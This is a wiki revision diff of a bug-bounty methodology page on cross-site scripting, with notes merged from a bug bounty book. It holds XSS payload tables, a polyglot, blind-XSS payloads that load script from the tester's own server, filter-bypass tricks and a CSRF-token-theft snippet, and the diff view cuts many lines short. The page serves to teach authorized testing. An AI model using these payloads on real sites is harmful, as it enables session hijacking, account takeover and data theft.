tbhm:05_xss
Differences
This shows you the differences between two versions of the page.
| Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
| tbhm:05_xss [2026/05/14 10:33] – merge bbc ch6 xss techniques drew | tbhm:05_xss [2026/05/14 10:42] (current) – fix // in inline code breaking italic parser drew | ||
|---|---|---|---|
| Line 61: | Line 61: | ||
| * How are non-malicious tags handled? ''< | * How are non-malicious tags handled? ''< | ||
| - | * Incomplete tags? '' | + | * Incomplete tags? < |
| * Encodings? ''< | * Encodings? ''< | ||
| * Hardcoded blacklist? Does ''</ | * Hardcoded blacklist? Does ''</ | ||
| Line 73: | Line 73: | ||
| - | ====== BBC Ch 6: Cross-Site Scripting | + | |
| + | ====== BBC Ch 6: Cross-Site Scripting ====== | ||
| //Merged from Bug Bounty Bootcamp Ch 6 by Vickie Li// | //Merged from Bug Bounty Bootcamp Ch 6 by Vickie Li// | ||
| Line 87: | Line 88: | ||
| </ | </ | ||
| - | If HttpOnly is set on the session cookie, JS cannot read it -- but the attacker | + | If HttpOnly is set on the session cookie, JS cannot read it -- but XSS can still perform actions on the victim' |
| ===== XSS Types ===== | ===== XSS Types ===== | ||
| Line 93: | Line 94: | ||
| ==== Stored XSS ==== | ==== Stored XSS ==== | ||
| - | User input is stored | + | User input is saved server-side (database, log, message board) and rendered to other users without sanitization. |
| - | Classic | + | Classic |
| ==== Blind XSS ==== | ==== Blind XSS ==== | ||
| - | A variant of stored XSS where the payload fires in a part of the application you cannot see -- typically an admin panel or internal | + | A stored XSS variant |
| - | Detection: use an out-of-band callback | + | Detection |
| < | < | ||
| <script src=' | <script src=' | ||
| </ | </ | ||
| - | Monitor | + | Watch server logs for GET /xss. XSSHunter automates this. |
| ==== Reflected XSS ==== | ==== Reflected XSS ==== | ||
| - | User input is returned | + | User input is returned in the same request/ |
| < | < | ||
| - | https:// | + | https:// |
| </ | </ | ||
| - | |||
| - | The victim must click a crafted link. Affects only users who visit the URL. | ||
| ==== DOM-Based XSS ==== | ==== DOM-Based XSS ==== | ||
| - | The payload never reaches the server. Client-side | + | The payload never reaches the server. Client-side |
| + | |||
| + | URL fragments ('#' | ||
| - | Example: a page reads `?locale=` and inserts it into the page: | ||
| < | < | ||
| - | https:// | + | https:// |
| </ | </ | ||
| - | |||
| - | Key: URL fragments (`#`) never leave the browser, so DOM XSS via fragments is invisible to server-side WAFs. | ||
| ==== Self-XSS ==== | ==== Self-XSS ==== | ||
| - | Victim must inject the payload themselves (social engineering required). Not accepted in bug bounty programs | + | Victim must inject the payload themselves (social engineering required). Not accepted in bug bounty programs. |
| ===== Prevention ===== | ===== Prevention ===== | ||
| - | * **Input validation** -- reject input containing | + | * **Input validation** -- reject input containing |
| - | * **Output escaping** -- encode | + | * **Output escaping** -- encode |
| - | * **HttpOnly on session cookies** -- prevents JS from reading cookies | + | * **HttpOnly on session cookies** -- prevents JS cookie theft even if XSS fires |
| - | * **Content-Security-Policy header** -- restricts which scripts the browser will execute; `script-src ' | + | * **Content-Security-Policy header** -- '' |
| - | * **Modern JS frameworks** -- React, Angular 2+, Vue.js escape output | + | * **Modern JS frameworks** -- React, Angular 2+, Vue.js escape output |
| - | DOM XSS prevention | + | DOM XSS requires client-side input validation before writing to the DOM. Server-side sanitization alone does not stop it. |
| Reference: OWASP XSS Prevention Cheat Sheet | Reference: OWASP XSS Prevention Cheat Sheet | ||
| Line 149: | Line 147: | ||
| ==== Step 1: Find Input Opportunities ==== | ==== Step 1: Find Input Opportunities ==== | ||
| - | * Every text input field, search box, sign-up form, comment field, profile field | + | * Every text field, search box, sign-up form, comment field, profile field |
| - | * URL parameters and fragments | + | * URL parameters and fragments |
| - | * Drop-down menus and numeric fields -- intercept with Burp and replace the value; client-side restrictions don't apply at the network layer | + | * Drop-down menus and numeric fields -- intercept with Burp and replace the value; client-side |
| - | * Insert a unique canary string (e.g. `XSS_BY_VICKIE`) into every input point, then search source | + | * Insert a unique canary string (e.g. '' |
| ==== Step 2: Insert Payloads ==== | ==== Step 2: Insert Payloads ==== | ||
| - | **Common payloads:** | + | ^ Payload ^ Purpose ^ |
| + | | ''< | ||
| + | | ''< | ||
| + | | ''< | ||
| + | | ''">< | ||
| + | | ''< | ||
| + | | ''< | ||
| + | | ''< | ||
| - | | Payload | Purpose | | + | XSS polyglot (fires across img, script, p contexts): |
| - | |---|---| | + | |
| - | | `< | + | |
| - | | `<iframe src=javascript: | + | |
| - | | `<body onload=alert(1)> | + | |
| - | | `">< | + | |
| - | | `< | + | |
| - | | `<a onmouseover=" | + | |
| - | | `<script src=// | + | |
| - | + | ||
| - | **XSS polyglot** (works across | + | |
| < | < | ||
| javascript:"/ | javascript:"/ | ||
| Line 175: | Line 170: | ||
| </ | </ | ||
| - | **Generic test string** to identify which characters | + | Generic test string to identify which characters |
| - | **Blind XSS OOB payload:** | + | Blind XSS OOB payload: |
| < | < | ||
| <script src=' | <script src=' | ||
| </ | </ | ||
| - | Watch server logs -- a request to /xss confirms | + | Watch server logs for GET /xss to confirm |
| ==== Step 3: Confirm Impact ==== | ==== Step 3: Confirm Impact ==== | ||
| - | * Stored: | + | * Stored: does your alert fire on the display page? |
| - | * Reflected/ | + | * Reflected/ |
| * Blind: check server logs for the callback request | * Blind: check server logs for the callback request | ||
| - | * Consider | + | * Account for timing delays -- blind XSS on admin pages only fires when an admin is logged |
| ===== Bypassing XSS Filters ===== | ===== Bypassing XSS Filters ===== | ||
| Line 195: | Line 190: | ||
| ==== Alternative JS Syntax ==== | ==== Alternative JS Syntax ==== | ||
| - | If `< | + | If '' |
| < | < | ||
| - | <img src=" | + | <img src=" |
| - | <a href=" | + | <a href=" |
| </ | </ | ||
| - | `javascript:` and `data:` URL schemes execute JS in anchor and iframe | + | '' |
| - | Data URL example: | ||
| < | < | ||
| - | data: | + | data: |
| </ | </ | ||
| ==== Capitalization and Encoding ==== | ==== Capitalization and Encoding ==== | ||
| - | Filters that match exact strings can often be bypassed with mixed case (browsers | + | Mix case to bypass exact-string filters |
| < | < | ||
| - | < | + | < |
| </ | </ | ||
| - | If the filter blocks single/ | + | If quotes |
| < | < | ||
| - | < | + | < |
| </ | </ | ||
| ==== Filter Logic Errors ==== | ==== Filter Logic Errors ==== | ||
| - | If the filter removes | + | If the filter removes |
| < | < | ||
| - | < | + | < |
| </ | </ | ||
| ==== Closing Out Tags ==== | ==== Closing Out Tags ==== | ||
| - | When your input lands inside an existing | + | When input lands inside an existing attribute (e.g. '' |
| < | < | ||
| "/>< | "/>< | ||
| </ | </ | ||
| - | Check browser console for syntax errors if your payload | + | Check the browser console for syntax errors if your payload |
| Reference: OWASP XSS filter evasion cheat sheet | Reference: OWASP XSS filter evasion cheat sheet | ||
| Line 242: | Line 241: | ||
| Impact depends on where the XSS fires: | Impact depends on where the XSS fires: | ||
| - | * **Server logs / admin panel** -- stored XSS here can compromise admin accounts, exfiltrate customer data, lead to RCE via shell upload | + | * **Server logs / admin panel** -- stored XSS can compromise admin accounts, exfiltrate customer data, escalate |
| * **General user base** -- session hijacking via cookie theft, account takeover | * **General user base** -- session hijacking via cookie theft, account takeover | ||
| * **CSRF token theft** -- steal the token from the DOM, then perform state-changing actions as the victim: | * **CSRF token theft** -- steal the token from the DOM, then perform state-changing actions as the victim: | ||
| <code javascript> | <code javascript> | ||
| - | var token = document.getElementsByTagId(' | + | var token = document.getElementById(' |
| var xhr = new XMLHttpRequest(); | var xhr = new XMLHttpRequest(); | ||
| xhr.open(" | xhr.open(" | ||
| Line 253: | Line 252: | ||
| </ | </ | ||
| - | * **Page replacement** -- replace the DOM with a fake login form (phishing) | + | * **Page replacement** -- replace the DOM with a fake login form (credential |
| - | * **RCE escalation** -- if the XSS fires in an Electron app or with sufficient | + | * **RCE escalation** -- if the XSS fires in an Electron app or as an admin with file upload access |
| - | ===== Finding Your First XSS -- 7-Step Checklist ===== | + | ===== 7-Step Checklist ===== |
| - Look for user input opportunities. Stored input: test for stored XSS. URL-reflected input: test for reflected and DOM XSS. | - Look for user input opportunities. Stored input: test for stored XSS. URL-reflected input: test for reflected and DOM XSS. | ||
| - | - Insert XSS payloads at all discovered injection points. Use lists, polyglots, or a generic test string. | + | - Insert XSS payloads at all discovered injection points. Use payload |
| - Confirm impact: pop-up, redirect, or OOB callback from your server. | - Confirm impact: pop-up, redirect, or OOB callback from your server. | ||
| - If payloads are blocked, bypass XSS protections (alt syntax, encoding, filter logic errors). | - If payloads are blocked, bypass XSS protections (alt syntax, encoding, filter logic errors). | ||
| - | - Automate with Burp Intruder or fuzzing (see Ch 25). | + | - Automate with Burp Intruder or a fuzzer. |
| - | - Assess impact: who does it target? How many users? Admin context or user context? | + | - Assess impact: who does it target? How many users? Admin context or general |
| - Send the report with a working PoC. | - Send the report with a working PoC. | ||
tbhm/05_xss.1778751224.txt.gz · Last modified: by drew
